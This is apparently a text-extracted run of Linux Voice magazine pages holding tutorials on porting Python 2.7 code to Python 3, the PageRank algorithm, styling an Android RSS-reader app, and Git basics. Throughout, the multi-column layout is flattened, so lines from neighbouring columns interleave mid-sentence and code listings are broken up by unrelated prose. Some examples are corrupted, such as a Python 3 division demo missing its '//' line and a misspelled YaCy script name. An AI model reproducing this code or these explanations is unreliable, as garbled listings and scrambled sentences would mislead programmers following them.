manages Unicode. Below is a full code listing of the
Installing Python 3 from PPA
code written for Python 2.7 :
#!/usr/bin/python2.7 If you’re using an older version of Ubuntu, the version
# -*- coding: utf-8 -*- of Python 3 installed may be as old as Python 3.2 (in
the case of Ubuntu 12.04). Luckily, there is a PPA called
import argparse
“deadsnakes” maintained by Felix Krull. At time of writing,
this supported the following Python revisions: 2.3, 2.4, 2.5,
ENGLISH_MESSAGES = { 2.6, 2.7, 3.1, 3.2, 3.3, 3.4. The PPA can be added by adding
“greeting”: “Hello world”, the line ppa:fkrull/deadsnakes to your software sources.
“num1”: “First Number:”, After the PPA is configured on your system you can install
Python 3.3, for example, with:
“num2”: “Second Number:”,
sudo apt-get install python3.3
“div”: “Dividing %d by %d gives %f”

www.linuxvoice.com 101
CODING PYTHON 3

第一个号码27 result in a float value. The previous default behaviour
第二个号码4 is preserved in Python 3.3 under the // operator.
加入 27 ~ 4 给了我 31 As mentioned before, porting a big body of code
减去27至4给了我23 is very different to our example and there are a few
除以274给出了6.750000 things that we have to make sure of before attempting
Let’s dig a little deeper into the portions of the code any port to Python 3.
that deal with Unicode. The project is thoroughly unit-tested. Regressions
# -*- coding: utf-8 -*- and bugs in the porting process can easily go
This line tells the Python interpreter which encoding unnoticed without a full suite of tests.
it should use to read the Python file. Without this The project is using Python 2.7. Using the latest
comment, Python defaults to reading the file using version of the Python 2.X interpreter allows the
the ASCII encoding. This encoding enables us to developer to benefit from some features that
read Unicode literals in the source code such as are backported from Python 3 and is the easiest
the Chinese messages in the greetings dictionary. migration path.
Omitting this from our source code will result in the To make porting code to Python 3 as easy as
following exception when running the code. possible, there’s a tool called 2to3, which should be
SyntaxError: Non-ASCII character ‘\xe4’ in file simple_calc.py on on the system path if Python 3 is installed on your
line 14, but no encoding declared; see http://www.python.org/ system. 2to3 is a utility script, which takes Python
peps/pep-0263.html for details 2.7 file(s) as input and outputs the equivalent code
The next thing to understand in the source is how compatible with the Python 3 interpreter.
the Chinese characters are declared. First, before making any modifications, the 2to3
“num1”: u”第一个号码”.encode(“utf-8”), tool enables you to output a diff of what modifications
The unicode literal is encoded using the “utf-8” will be done:
encoding. This converts from a Unicode type to a 2to3 simple_calc.py
str type in Python, which is what Python 2.7 uses For the sake of this tutorial, we want to preserve
by default. If we don’t encode the Unicode literal, the the Python 2.7 version of the code and create a new
Python raw_input function will not be able to output version of the file in a directory called python3. Here’s
a Unicode literal and execution will fail as in the the command to output a Python 3 version of the
following example: code into the python3 directory (presuming that the
>>> unicode_value = u”世界，你好！” Python 2.7 version of the file is housed under the
>>> raw_input(unicode_value) python27 directory):
UnicodeEncodeError: ‘ascii’ codec can’t encode characters in 2to3 -o python3 -nw python27/simple_calc.py
position 0-5: ordinal not in range(128) The -o argument specifies the directory to write to
This is one of the problems in Python 2.7: the and the -nw tells the tool there’s no need to write
default string encoding is ASCII, meaning that any any backups (it’s worth a look at the man page for
non-ASCII encoded strings must be encoded to work a comprehensive guide to the options in 2to3). This
in some core functions like raw_input. command will output a file called simple_calc.py in
the python3 directory.
Integer division Let’s look at the changes that the 2to3 code made
Another Python 2.7-specific functionality that has and what changes are needed to make it work to our
been replaced in Python 3.3 is integer division. This expectations.
behaviour is summed up in the two examples below: The first major change that happens is one of
one is code running in a Python 2.7 interpreter, while the most controversial and best-known features
the other is running in a Python 3 interpreter. of Python 3. Printing output in Python 2.7 was
Python 2.7: done using a statement rather than a function, ie
>>> x, y = 21, 5 no parenthesis. In Python 3 this was replaced by a
>>> x / y function. This backwards-incompatible change is
4 one of the far-reaching changes, and makes running
>>> float(x) / y Python 2.X code in a Python 3 interpreter often
4.2 impossible without using a tool like 2to3. Below is an
>>> x / float(y) example of the change made by 2to3.
4.2 Python 2.7:
Python 3.3: print locale_messages[“greeting”]
>>> x, y = 21, 5 Python 3.3:
>>> x / y print(locale_messages[“greeting”])
4.2 There are a number of reasons to have print as
4 a function. A function enables you to more easily
As should be clear from the examples, in Python 2.7 override and add functionality to print without having
division of two integers always resulted in an integer. to change Python syntax. It also makes it easier to
In Python 3.3, division of two integers will always mock out in unit tests. The next thing of note is that

102 www.linuxvoice.com
PYTHON 3 CODING

2to3 replaced the raw_input function for retrieving
user input with the simpler function name of input.
Here’s the Python 2.7 code:
x = raw_input(user_msg)
… and here’s the equivalent in Python 3.3:
x = input(user_msg)
Finally, in Python 3, string literals’ default type
is Unicode. This means that we no longer have to
include the u before the string literal to indicate
that it is a unicode string. This preceding u was
actually removed as part of Python 3, but to help
with migration to Python 3, was re-included (as
documented in PEP 414). Unicode is everywhere in
Python 3 by default. The 2to3 tool has stripped the
Chinese strings of the preceding u.
Running the generated code using Python 3
produces output similar to the following:
$ python3 python3/simple_calc.py --locale=ch
Python Wall of
世界，你好！ The program failed with a Type Error exception.
Superpowers is a
b’\xe7\xac\xac\xe4\xb8\x80\xe4\xb8\xaa\xe5\x8f\xb7\xe7\ This is due to the fact that string formatting using the colourful way to check
xa0\x81’456 % symbol in Python 3 does not work on bytes strings. for Python 3 support in
b’\xe7\xac\xac\xe4\xba\x8c\xe4\xb8\xaa\xe5\x8f\xb7\xe7\ In order to use this string formatting, the messages external libraries.
xa0\x81’32 must be Unicode strings. The fix employed in the last
Traceback (most recent call last): step will also fix this, as the strings being operated
File “python3/simple_calc.py”, line 68, in <module> on will now be of the Unicode type. Bytestrings will
add(x, y, locale_messages) support % symbol formatting soon, and details of this
File “python3/simple_calc.py”, line 42, in add change can be found in PEP 461.
x, y, (x + y))) In the last step of this conversion, Python 3’s new
TypeError: unsupported operand type(s) for %: ‘bytes’ and ‘tuple’ division operator, can save a few lines of code. For the
division function, we were previously casting ints to
There is no magic wand! floats in order to get floating number results from the
This example demonstrates the fact that although in division. In Python 3, this is the default behaviour of
most cases the 2to3 utility can make Python 2.7 code division for two int values, meaning there is no need
runnable, it doesn’t necessarily fix any logical issues to cast to a float before that point. The modified div
or discrepancies that result from the porting exercise. function is shown below:
The converted program has a number of runtime def div(x, y, locale_messages):
errors that are both visible and cause program print(locale_messages[“div”] % (
execution to fail. These cases highlight the necessity x, y, (x / y)))
of having a full suite of unit tests before attempting to return x / y
port code. Porting even this very simple application took
The main problem exhibited while running the some effort after use of the automatic tool to make it
code under Python 3 is that we were previously work as expected. Larger bodies of code will result in
converting the Unicode Chinese characters to str significantly more work.
types. This meant that when we convert it, the str There is huge momentum currently in the Python
type becomes the bytes type, which is rendered in community around improving the library support for
its full representation (including the b). As Unicode is Python 3, and there are many resources to give you
now the default string type in Python, there is no need an indication of what libraries are supported by
to first encode it to “utf-8”. The Python 3 interpreter Python 3. The Python 3 Wall of Superpowers website
example below demonstrates this: (http://python3wos.appspot.com) shows an up-
>>> x = u”第一个号码” to-date listing of the compatibility of major Python
>>> print(x) Package Index libraries with Python 3. If your project
第一个号码 uses a lot of external libraries, this is a great way to
>>> print(x.encode(“utf-8”)) evaluate if porting your code is possible. If you have
b’\xe7\xac\xac\xe4\xb8\x80\xe4\xb8\xaa\xe5\x8f\xb7\xe7\ the expertise, and a library you depend on doesn’t
xa0\x81’ support Python 3, why not take it on as a personal
To fix this, remove the encodings in the CHINESE_ challenge and submit a pull request for that project?
MESSAGES dictionary declaration. The input function
in Python 3 accepts Unicode strings as the input Richy Delaney is a software engineer with Demonware
string, whereas the raw_input for Python 2 expects Ireland, working on back-end web services using Python and
Linux. He has been an avid Linux user for the past five years.
strings only.

www.linuxvoice.com 103
CODING NINJA

CODE NINJA:
TUTORIAL
RANKING WEB PAGES
There’s a lot of rubbish on the web, so how to you sort the good
BEN EVERARD
from the bad – and make billions of dollars doing so?

C
reating a web search engine that returns useful the web to vote on what they think are the best sites
WHY DO THIS? information isn’t easy. Not only do you have to using their links.
• Write your own search index every page, but you also have to find to
engine and invade
others’ privacy for profit. decide which of the millions of pages that contain the Beat Google at its own game
• Unlock the secrets of particular search words are most interesting. To start with, you need a list of all the pages on the
a multi-billion dollar Originally, some of the better search engines did this web and details of what they link to. Once you have
corporation. by manually curating lists of the most important sites, this, you can then add up the links and see what page
• Get a job in sunny but this approach simply couldn’t keep up with the has the most pages linked to it. A simple assessment
California.
growth of the web. would say that this is the most important page.
In the mid 90s, Larry Page and Sergey Brin looked However, that simple assessment could be wrong. It
to the way web pages linked to each other to provide would be easy to game this system by creating a lot
an answer. They reasoned that the structure of these of links to a page; also, the algorithm would give a
links could be used to determine how important a fairer picture of the situation if links from important
particular page was, because the more important pages were given a higher importance from links from
pages would be linked to more pages than other, less pages that are less prominent.
important pages. The idea came from academia, Initially, this might seem to create a catch-22
where the importance of a published paper is often situation: the importance of the page is determined by
determined by the number of papers that cite it. the algorithm, but the algorithm needs to know the
The method, which they called PageRank, importance of the pages to run.
democratises the problem of deciding the value of a Another way to frame the same issue is to say,
particular web page by allowing every other page on what’s the probability that someone who clicks on

a b

c
Calculating the PageRanks
for a mini-web of just four
pages. This particular
d
arrangement took quite a
long time to stabilise.

Page ranks
t=0 t=1 t=2 t=3 t=4 ... t=29 t=30
a 0.25 0.14375 0.0534375 0.0534375 0.0534375 0.0534375 0.0534375
b 0.25 0.56875 0.388125 0.54165625 0.4111546875 0.4721460486 0.4702383587
c 0.25 0.0375 0.0375 0.0375 0.0375 0.0375 0.0375
d 0.25 0.25 0.5209375 0.36740625 0.4979078125 0.4369164514 0.4388241413
Table showing the PageRank values for each page at each iteration.

104 www.linuxvoice.com
NINJA CODING

Open source search engine
If you’ve read this article, then you’ve probably guessed that
creating a useful web search engine takes a phenomenal
amount of computing power. This makes it unfeasible for
most people to simply install the software on their
computer and start running their own search engine.
The YaCy project is hoping to change this. Rather than
rely on a centralised data centre controlled by a single
company, it’s powered by users around the world in a
peer-to-peer network that share the load of indexing and
searching. The advantage of this is that there’s no central
point that could be used to censor it, and it allows the web’s
users to take back control of how search works.
Currently the search engine is functional, but the results
can leave a little to be desired. However, if more people join,
then the results should improve. To join, you just have to
download the tarball from www.yacy.net, and run the
startYACT.sh file. This will start the back end running, and
start a web browser on localhost:8090 that has a search
engine interface. You can instruct YaCy to index particular pages. Here it’s crawling LinuxVoice.com

links at random will end up at a particular web page? from the previous step. At time 1, the value of the
This is known as a random surfer. In a sense, this page rank for any one page is calculated by going
question is the same as the previous question. The through each page that links to it, and summing the
more links to your page (and the more important the value of that page’s page rank divided by the number
pages that link to it are) the more likely that the of links on the page. This divides the page’s
random surfer will get to your page. importance to all the pages it links to.
If the surfer gets to a page with no outlinks, it just PR(p, t) = (1-d)/N + d*((PR(pl1, t-1)/L(pl1) + PR(pl2, t-1)/L(pl2)
restarts at a random site. To avoid getting stuck in + … + PR(pln, t-1)/L(pln))
loops (and to help the algorithm run better), they also Where PR(p,t) is the PageRank of page p at time t,
added a damping factor. This is the probability that the d is the damping factor, N is the number of pages in
random surfer clicks on a link rather than starting the network, L(p) is the number of links on page p, and
afresh at a new URL. You could create a program that pl1 … pln are the pages that link to page p.
performs this random surf; it sets off from any one This is a bit clearer if it’s put in pseudo code (which
page and clicks around randomly and traces the path calculates the values for t=1 to t=limit):
of the pages it traverses. However, with billions of for time in 1 ... limit:
pages on the web, it would take quite a long time to for page in all_pages:
complete – so much so that by the time it’s page.page_rank(time) = 0
completed, it would be so out of date as to be useless. for from_page in pages_that_link_to(page):
What’s more, there’s a problem. If the random surfer page.page_rank += from_page.page_rank(time-1) /
gets to a page where there are no outlinks, it’s easy number_of_links_on(from_page)
enough for it to just exit and start again at a random page.page_rank = (1 – damping_factor) / number_of_pages +
page. However, what if it gets stuck in a loop of pages (page.page_rank * damping_factor)
that just link back to each other? Brin and Page went on to create Google and used
this algorithm as the basis for their search engine.
The damping factor Those six lines of simple code define the algorithm
The damping factor is PageRank’s solution to this: it’s that made one of the largest companies in the world.
the probability that the random surfer will click on a It allowed them to return more accurate results than
link on the page (the alternative is that they just enter any other search engine at the time, and therefore
a new URL at random and surf from there), and it’s the gain an upper hand in the search market. This they
only thing about PageRank that you can tweak. used to gain an upper hand in the advertising market,
Initially, Brin and Page suggested using 0.85, and and well, you know the rest. If ever an algorithm can
most people find that this is about right. be said to have changed the course of history, this is
We can calculate the damping factor across all the it. Without it, we’d all be using iPhones instead of
pages simultaneously by iterating towards a solution. Android phones and saying ‘Binging’ to mean
Initially, we say that the random surfer has an equal searching the web.
chance of being on any page. Therefore, at time 0, the Google’s search has moved on, and it now takes
page rank for any page is 1 / the number of pages. into account over 200 signals. It’s a little cagey about
We then move through the time steps, and each exactly what these 200 signals are, but it’s thought
time, we calculate the PageRank based on the values that one of them is still page rank.

www.linuxvoice.com 105
CODING ANDROID

ANDROID DEVELOPMENT
CODING TUTORIAL
PART 2
We’re prettying up last month’s simple RSS reader to add more
GRAHAM MORRISON
information and we get the whole thing running on real hardware.

WHY DO THIS? 1 KEEPING UP APPEARANCES
• Android development
needed be that difficult,
and millions of users Last month’s application was functional but basic. It
can take advantage of used a default ListView widget to display the titles of
your work. news stories posted onto our website and enabled the
• Help develop the Linux user to touch a story to open it in a browser. Changing
Voice Android
application. the default appearance of the ListView in Android, and
• Develop awesome skills nearly every other GUI element, is accomplished
and career prospects. through the XML files that are used to represent each
layout. For our main activity, this is the activity_main.
xml file found in the res sub folder. Open this and add
the following inside the ListView element for our
application:
android:dividerHeight=”2dp”
android:divider=”#c61a27”
What we’ve done here is add a gap between the
elements in the ListView and coloured that gap with
an HTML colour notation value of c61a27. This just
happens to be the red of Linux Voice, and Android
Studio will even display a preview of this colour in the
border to the left of your code. It appears as a small
square, and if you click on this you’ll be able to select a
different colour from the palette dialog. But what does
dp represent? This is dimension notation for Android
and it’s Google’s solution to never knowing the
resolution or pixel density of the devices you’re
working with, and working with increasingly large and
abstract resolutions. It won’t be long until we’re
dealing with 4k displays, for instance. dp is an
abbreviation for ‘density-independent pixels’. The After this tutorial, your app should look like this, with long
principle is that you take 160dpi (pixels per inch) as a story descriptions, bold titles and an icon for each story.
baseline value, where 1dp = 1 pixel at 160dpi, but that
the value is scaled automatically according to the size adapt to different screen resolutions, but px can be
and resolution of the display. If your display has a useful when dealing with the fixed layouts of bitmaps.
density of 320dpi, for example, there would be two sp is another dimension format, similar to dp, but the
pixels for every 1dp. number of pixels it represents changes when a user
dp is the most common layout dimension, but it’s changes the font size. You can often see these
also possible to use px for absolute pixel control. This changes directly in the design preview window within
isn’t recommended – your layouts won’t be able to Android Studio, which is the best way to get a good
idea about how your application is going to look.
Appearance is augmented further through XML files
and classes that are linked from the activity_main.
xml file. For example, you can colour items pressed
Colours and images are
and unpressed in your list purely from XML. If you add
previewed in the tiny
border to the left of your the following line, Android will look for a resource file
code. Click on a colour to called selected that it can use to illustrate selected
open the colour palette items in the list view:
requester. android:listSelector=”@drawable/selected”

106 www.linuxvoice.com
ANDROID CODING

2 GRADIENTS
To create the resource file we just linked to, right-click Gradients are a good way of
on the drawable-hdpi folder in your project hierarchy subtly showing the
and select New > Drawable Resource. Give this the difference between one cell
name selected and make sure the root element type and the next, or when an
is selector. This will create the new file and solve the item is selected.
dependency error in activity_main.xml. There are
three states we can define here – one where an item
is selected, one where an item is selected and still
pressed and one where an item is pressed but not
selected. The shading for each of these states should
also be farmed out to separate files so that any other
lists or items can have the same appearance, and to
define how each item is handled, you will need the
following code inserted between the selector start want to be able to add the title of a story, its brief
and end elements: description and an icon. To do this, we’ll need to create
<item a separate layout for this cell and tell the ListView how
android:state_selected=”false” to use our own layout rather than the one it defaults
android:state_pressed=”false” to. We’ll start by creating a new layout for an individual
android:drawable=”@drawable/gradient1” /> item. Right-click on Layout on the folder view and
<item android:state_pressed=”true” select Layout Resource File from the drop-down
android:drawable=”@drawable/gradient2” /> menu that appears. Change the root element from
<item android:state_selected=”true” LinearLayout to RelativeLayout and provide a filename
android:state_pressed=”false” – we called ours singlerow.xml. Android Studio will
android:drawable=”@drawable/gradient2” /> now switch to the visual editor layout mode for the
This code is simple enough to understand, and new file.
you’ll need to create two further drawable resource Android Studio can be very helpful when it comes to
files to satisfy each of the states. Their root elements layouts and will inform you of any required elements
will be shape rather than selector, as shape drawable that may be missing. This is important when creating
elements can be used to define backgrounds, borders a new user interface, because the way your
and gradients, which is how we’re going to use them. application looks and behaves is dependent on how
We’ve called these files gradient1 and gradient2. As you ‘hang’ the layout within the scaling designer. To
you can tell from their names, we simply use these to get started, drag an ImageView widget from the Tools PRO TIP
define different colour gradients for each of the palette and into your application. As you hold the left Android Studio can
handle more than one
selection states. We won’t go through each of the button down and drag the destination cursor around project at a time, and can
three, but here’s how our first gradient looks: the virtual Android device, you’ll see Android Studio use either the existing
android:shape=”rectangle”> highlight all kinds of alignment possibilities. But application window or
open a new environment.
<gradient because there’s no image attached to the ImageView Choose your preference
android:startColor=”#f1f1f2” widget, you won’t be able to see any of the alignment when you open a project
android:centerColor=”#e7e7e8” effects. To solve this problem, click on the ImageView while another project is
already open.
android:endColor=”#ffadadad” widget in the component tree (this lists all the various
android:angle=”270” /> UI components in your layout), then select the src
This works in exactly the same way the gradient data cell in the Properties list below. You should see a
tool does in Gimp, and after you’ve added the HTML … (ellipsis) icon used to denote a file requester.
colour entries you’ll be able to click on the small Clicking on this will open a window that lists all the
coloured square in the code border to change the resources currently available to your project.
colour to something else. You should also see a Resources include colours, UI design components
preview of the gradient to the right of the code so you and external images. But there’s no way from here to
can make sure it’s the effect you think it is. Create the add your own images, and to do that, we’ll need to go
gradients in the same way, making the colours slightly back to Android Studio.
different. This gradient is going to be used when you
select an element within the list. Adding image assets
The various folders beneath res are for different
New items resolutions -hdpi, mdpi, and ldpi, as well as designs
We’re now going to take on a bigger job, and that’s and menus. Right-click on res, select New and then
redefining the appearance of the ListView itself. At the select Image Asset. This opens Asset Studio, which is
moment, there’s very little we can change about the a tool to make importing and managing images
contents of a single item other than the text, but we easier. Make sure the asset type is set to Launcher

www.linuxvoice.com 107
CODING ANDROID

Icons and use the … file requester to the right of the being drawn on top of each other, make sure the
image file location to point at an image location. There ImageView is first and contains the following:
are several different kinds of icons in Android. android:layout_alignParentTop=”true”
Launcher is the icon you’ll see on your device’s launch android:layout_alignParentLeft=”true”
or home screens. Action Bar icons are found in android:layout_alignParentStart=”true”/>
Android’s equivalent to a toolbar at the top of the For the first text view, which is going to hold the title
screen, and notification icons are used within the of our story, add this to its main element. The
notification view. ImageView being referenced here is the default id/
We used a download of our ‘LV’ logo, as this will also name for the ImageView widget we created, so this
be ideal as the launcher icon. When selected, you’ll should be the same:
see previews of your resized image for each resolution android:layout_alignTop=”@+id/imageView”
and you shouldn’t need to change any of the other android:layout_toRightOf=”@+id/imageView”
settings. Clicking on ‘Next’ will show you where each And for the final TextView widget, you’ll need to
resolution of the image is going to be placed within change the above two lines to the following, which
your project’s res folder structure, and clicking on places the TextView that will hold the description
Finish will apply those changes. You will immediately below the TextView that’s going to hold the title:
be able to see your image as a resource within the android:layout_toRightOf=”@+id/imageView”
resolution folders of the project view, and when you go android:layout_below=”@id/textView”
back to the Resources requester in the designer, you’ll The layout and alignment works in a similar way to
see your images listed as a resource – usually near object arrangement in an application like Inkscape or
the bottom of the list. Select it and click on OK. Scribus. You can play around with the various options
Designing the layout using this view reminds us of either by letting Android Studio auto-complete the
the early days of QtDesigner, as you can’t always tell layout_ keywords, or by dragging widgets around
what element of the user interface is having the effect within the visual editor. We’d also suggest changing
you can see. Both the Relative and Linear layouts the font size for the title TextView and perhaps
work like this – relative lets you link the position of one adjusting the colour of the description text, but these
PRO TIP
widget to the location of another, while linear places can be changed at any time.
If you’re not using version
widgets next to each other, either horizontally or
control, you can zip up an
entire project folder to take vertically. We’ve found that it’s easier to add widgets
a snapshot and even move and make adjustments in the visual editor, while
this to another Android
layout is easier to define in the text editor. With that in
Studio installation. Any
new SDK is picked up mind, add two Plain TextView widgets without
automatically. worrying where they fall in the layout, and switch back
to the Text editor. First, make sure that the
RelativeLayout, the ImageView and the two TextViews
all contain the following:
android:layout_width=”wrap_content”
android:layout_height=”wrap_content”
wrap_content will enable a widget to only expand
enough to contain whatever values it contains, rather
than fill_parent, which allows the widget to take up as Android Studio will automatically scale an image for each
much space as is available. To stop all our widgets different class of resolution.

3 THE CODE
Now we’ve got the GUI design sorted, it’s time to add this.title = title;
the functionality to the code, and this is pretty simple. this.description = description; }
Most of this is handled by a new class that needs to
be created (right-click on the Java folder) and called @Override
lvList. Here’s what it needs to contain: public View getView(int position, View view, ViewGroup
public class lvList extends ArrayAdapter<String>{ parent) {
private final Activity context; LayoutInflater inflater = context.getLayoutInflater();
private final String[] title; View rowView= inflater.inflate(R.layout.singlerow, null,
private final String[] description; true);
private ImageView imageView; TextView txtTitle = (TextView) rowView.findViewById(R.
public lvList(Activity context, String[] title, String[] id.textView);
description) { TextView txtDescription = (TextView) rowView.
super(context, R.layout.singlerow, title); findViewById(R.id.textView2);
this.context = context; txtTitle.setText(title[position]);

108 www.linuxvoice.com
ANDROID CODING

txtDescription.setText(Html.fromHtml(description[positi
on]), TextView.BufferType.SPANNABLE);
return rowView;
}}
As with last month, add the import lines when
Android Studio complains about missing modules.
This code is creating an adapter to replace the
standard adapter used to load ListView items. That’s
why there’s an @Override statement, and within the
method that follows, we place the title and description
passed to the class when initialised to the widgets we
created in the designer. Our single ListView item is
expanded to a view, and we convert the HTML of our
RSS feed using setText(Html.fromHtml(description
[position]) method. By default, this is the entire
contents of a post, but you can change this by
replacing getElementsByTagName(“content:encod
ed”) with getElementsByTagName(“description”)’ in
our parseRSS class, as they’re referring to different
elements within the RSS.
The final chunk of code modifies the MainActivity
replacing the old use of an adapter with our new one.
To do this, comment out the line starting with within the storylist ListView used by MainActivity. The code to pull all the GUI
elements together is
storylist.setAdapter in the populate_list() method, After all this has been set and defined, all that’s left to
probably simpler than the
and add the following two lines: do is run your new application. The latest stories will
XML.
lvList adapter = new lvList (MainActivity.this, dataRSS. download, complete with either the entire text or the
postTitle, dataRSS.postContent); overview, and tapping any story will still open the page
storylist.setAdapter(adapter); in the browser.
All we’re doing here is creating a new adaptor using
the lvList class we just created, passing the RSS Graham Morrison is the author of Kalbum, a photo collection
values from the function we wrote last month. Those manager that, in its heyday, was in the Mandriva repositories.
Nowaday’s he’s best known as Linux Voice’s Editor In Chief.
values will be used to populate the list and we use this

Run your app on your phone You’re not a real developer until you can touch your own code.
The emulator that’s bundled with Android Studio is AndroidManifest.xml file, placing it beneath Android device, and you can get this value by typing
very convenient, and for most development, it’s the android:label=”@string/app_name” within the tail -f /var/log/syslog on the command line and
best way to test your code. But there’s no substitute application element, but this isn’t necessary with plugging in your phone. You should see a line
for running your project on a real device as soon as Android Studio, as you can switch to debug mode similar to ‘New USB device found, idVendor=18d1,
possible, or even better, on a variety of real devices. dynamically without having to add the line first. The idProduct=4ee2’, which is what we see when we
There are several good reasons for this. The most next step is to put your Android device into connect our Nexus 5. Extract the idVendor value
important is usability, because unless you’re development mode. On Android 4.0 and 4.1, this and place this into the configuration file.
running Android Studio on a touchscreen laptop, option can be found in the Settings> Developer When you connect your Android device, the
you’ll only be able to interact with the emulator Options page. But with more recent versions, the device itself will ask whether you want to allow USB
through your mouse. Your user, on the other hand, is option has been obfuscated. Just go to Settings > debugging and to accept a RSA fingerprint that
only going to interact with your work through their About Phone and tap 7 times on the Build Number identifies your development PC. You need to accept
fingers, so it’s important to make sure things are field at the bottom of the list. As you approach the this, and for convenience, we’d suggest also
working in the way you expected them to. 7th tap, you’ll see a pop-text message say you’re so enabling the ‘Always Allow From This Computer’
Secondly, real hardware can raise bugs or issues many taps from being a developer, before the last option too. If you want to make sure your device
that aren’t apparent in the emulator. This might be tap saying ‘You are now a developer’. ‘Developer has been detected correctly, type the following:
because of different versions of the operating options’ will now be visible on the previous setting /usr/share/android-studio/data/sdk/platform-tools/
system, but it could equally be because of other screen, and you need to enable ‘USB debugging’ adb devices
applications running alongside, or user-specific and accept the caveat that appears. The output should include the serial number of
Android alternations that affect your application. The next step will depend on your distribution. your Android unit, followed by the word ‘device’. If it
Finally, there’s performance. The emulator gives With a recent Ubuntu derivative (we’re using Mint says ‘unauthorized’, this means you’ve not accepted
zero indication of how your app might perform, and 16) you can skip this and simply connect your the RSA key on the device. Otherwise, you’re ready
CPU and graphics constraints aren’t the only Android device directly. Older versions or other to go. When you next run your app from Android
considerations. Bandwidth is vital, especially with distributions may need to add a udev rule. To do Studio, the device choice should list your external
our project, and you need to be sure you’re not this, type sudo nano /etc/udev/rules.d/51-android. device, just as it does instances launched from the
asking too much of a cellular data connection, or rules and add the following line: emulator, and you’ll be able to select this as a
that your application can fail gracefully if it loses SUBSYSTEM==”usb”, ATTR{idVendor}==”18d1”, destination for your app and choose to always use
the connection or doesn’t have enough speed. MODE=”0666”, GROUP=”plugdev” this device. Clicking on ‘OK’ will launch the app on
The official Android documentation asks that you You will need to change the idVendor your device in exactly the same way it does from
add android:debuggable=”true” to your hexadecimal value to the one that matches your the emulator.

www.linuxvoice.com 109
MASTERCLASS GIT

MASTERCLASS
Essential Linux tools explained – this month, the Git
BEN EVERARD version control system and its cloud-based cousin GitHub

GIT: VERSION CONTROL
Saved a file and changed your mind? Fear not, Git has your back...

G
it is something that, as a Linux user, you’ll Cloning is one way to get a repository. The other
JOHN LANE come into contact with sooner or later. If you’re way is to start a new one. Let’s say you have a project
compiling a package from its source code that you’re working on and you have all its files in a
(perhaps after reading this issue’s compiling tutorial myproject directory. Git calls this your working copy,
on page 86), for instance, you may well have to use a because those are the files you work on as you
command like this: develop your project. To track your project with Git,
$ git clone https://git.kernel.org/pub/scm/linux/kernel/git/ you first need to initialise your new repository in its
torvalds/linux.git root directory:
PRO TIP
This gets you the source code of the Linux kernel. $ cd ~/myproject
Git commands are well
documented: use man or And that is where the Git story begins – Linus $ git init
give the --help option to Torvalds created Git to hold the Linux kernel sources. Initialized empty Git repository in /home/john/myproject
any Git command. List all But our one-line example doesn’t only get the latest Git works by taking snapshots, called commits, of
commands with
git --help. version: you get the entire history too. Git is a version the files in your working copy. You control what should
control system (VCS) that tracks changes to files and be included in each commit. Git maintains an index of
can reproduce a project’s state as it was at any point the files in your working copy that you wish to commit
in time. You can use it for your own projects too, and you add files to this index. Adding files to the
giving you the ability to time-travel into its history or index is called staging.
revert changes that you later wish you hadn’t made. After initialising a new repository, it’s customary to
Git stores files in a repository. This is the working commit all files so that they are tracked:
copy of a project (its directory hierarchy of files) plus a $ git add .
The git status command hidden directory where Git efficiently stores the $ git commit -m “initial commit”
shows what is staged for
project’s history. In contrast to earlier version control The first command adds everything within and
the next commit. The
systems, Git has no central server. Instead, many beneath the current directory to the index, and the
README file has both
staged and unstaged people can clone a repository, each getting their own second command commits them. Each commit
changes, and copy of everything. They each work in their own clone requires a descriptive commit message. The -m
experimental.c is and can sync theirs with others. For this reason, Git is argument enables you to give this on the command
untracked. known as a distributed VCS. line, otherwise Git will open your default editor for you
to provide one.
Each commit is a new snapshot of your project
that’s made from the snapshot made for the previous
commit plus whatever is in the index when the
commit is done. Therefore each commit records a
snapshot of your project as it was at that point in time
(don’t worry – it does this very efficiently). Committing
empties the index, so any future changes need to be
added to the index again. This action is called staging,
and it enables you to control, per-commit, which
changes are included. Staging is also done with git
add. You can specify a single file or use wildcards
$ git add hello.c
$ git add *.c
When you stage a file, Git takes a snapshot of it, and
it is this snapshot that you later commit. If you change

110 www.linuxvoice.com
GIT MASTERCLASS

a staged file before committing it and want those number of ways to do this. The simplest of these
changes included, you must stage it again (using git runs on the command line and uses ASCII-art to
add again). represent commits.
One extremely useful command is git status. It $ git log --graph
shows at a glance the staged files that will be included But this can be improved upon with Git’s instant
in the next commit and any tracked files with web server. Start it in your project’s root directory (it
unstaged changes that won’t be included. It also requires the lighttpd web server, or you can use
shows you any files in the working copy that are --httpd to specify another server):
untracked. Staged files that are changed before $ git instaweb
committing will show twice: as a file to be committed It should open a browser window for you, or you
and also as one with unstaged changes. can navigate to http://localhost:1234. Better still is
Each commit is given a unique reference: a SHA1 the repository browser: just enter gitk to open it.
hash of its contents, which you can see with git log.
Any commit can be recovered using its SHA1 You are not alone
(actually, you don’t need to use all of it – just enough So far you’ve been working in your own repository, but
characters to make it unique). These can still be you may want to share work if you’re collaborating
difficult to remember though, so Git has another kind with others. Git enables you to fetch from and push to
of reference – the branch. other repositories. First, you need to tell it where these
remote repositories are:
Branching out $ git remote add name URL
PRO TIP
A branch is the list of commits from the latest right The name can be anything that describes the
List any files or directories
back to the initial commit made when the repository remote – perhaps a colleague’s name. The URL that you don’t want
was created. New commits are added to the top, or describes how to access it and Git supports various tracked in a file called
HEAD, of the current branch. protocols including HTTP, HTTPS, its own “git” .gitignore and Git will
ignore them.
The output of git status shows the name of the protocol, direct file access to the local filesystem and
current branch, and new repositories have a single SSH. The latter offers authentication and is usually
branch called master. You would typically create a required when pushing changes to a remote.
new branch for a specific piece of work and merge it If your repository is a clone of another it will already
into the master branch once it’s complete. This avoids have a remote (referred to as its origin) pointing to
polluting your master with incomplete changes and where it was cloned from. Pushing changes to it
unwanted changes can be easily abandoned. would be done like this:
Branches deviate from the commit where they are $ git push origin master
made in a tree-like fashion, and commits on one
branch do not impact others unless merged. You can
You can fetch from a
remote and this gives
“If you’re working with others,
switch between branches with git checkout – useful you remote branches Git enables you to fetch from
if you’re working on multiple unrelated changes at the
same time, or you can use the -b option to check out
that you can list. Remote
branches are distinct
and push to other repositories.”
a new branch from the head of the current branch. from your local branches.
$ git checkout -b mybranch $ git fetch myremote
Switched to a new branch ‘mybranch’ $ git branch -r
You can list all branches and see the current After fetching a remote, you can merge a remote
branch, marked with an asterisk: branch into your current one:
$ git branch $ git merge myremote/branch
master This is a common task and Git provides a shortcut for
* mybranch it. Another way to achieve a fetch and merge is to pull:
myotherbranch $ git pull myremote branch PRO TIP
and check out whichever one you want Git branches are unlike
other VCS – nothing
$ git checkout master First among equals needs to be copied and
